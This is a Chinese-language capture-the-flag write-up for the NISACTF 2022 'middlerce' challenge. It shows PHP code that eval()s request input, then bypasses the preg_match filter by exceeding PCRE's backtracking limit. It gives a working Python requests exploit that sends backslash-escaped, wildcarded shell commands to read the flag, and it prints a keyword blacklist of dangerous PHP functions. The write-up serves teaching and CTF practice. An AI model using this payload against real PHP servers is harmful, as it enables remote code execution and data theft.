[NISACTF 2022]middlerce

看源码

 <?php

include "check.php";

if (isset($_REQUEST['letter'])){

    $txw4ever = $_REQUEST['letter'];

    if (preg_match('lii',$txw4ever)){

        die("再加把油喔");

    }

    else{

        $command = json_decode($txw4ever,true)['cmd'];

        checkdata($command);

        @eval($command);

    }

}

else{

    highlight_file(__FILE__);

}

?>

这题我们使用pcre回溯次数绕过PHP利用PCRE回溯次数限制绕过某些安全限制

我们构造这样的脚本

import requests

data = {

  'letter': '{"cmd":"?><?=`c\\\\at *`?>;","test":"' + '@' * 1000000 + '"}'

}

res = requests.post('http://node4.anna.nssctf.cn:28177', data=data)

print(res.text)

通过这个脚本,我们可以构造一些shell语句,注意这里面的反斜杠数量,<?=`c\\\\at *`?> 中的前两个反斜杠经过python转义变成一个 \ ,后面两个反斜杠同样需要经过转义,变成一个\ 然后传给服务器,服务器又会经过一次转义,将两个\\转译成了一个\ 最后执行shell的时候就是执行一个\ ,就是说四个反斜杠变成一个反斜杠

有时候需要的是三个反斜杠

通过上面这个脚本,我们可以得到check.php的源码

<?php

function checkdata($data){

    if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){



        die('差一点点捏');

    }

}

然后想办法绕过就行了(通配符绕过,反斜杠绕过)

最终POC

import requests

data = {

  'letter': '{"cmd":"?><?=`c\\\\at /fla*`?>;","test":"' + '@' * 1000000 + '"}'

}

res = requests.post('http://node4.anna.nssctf.cn:28177', data=data)

print(res.text)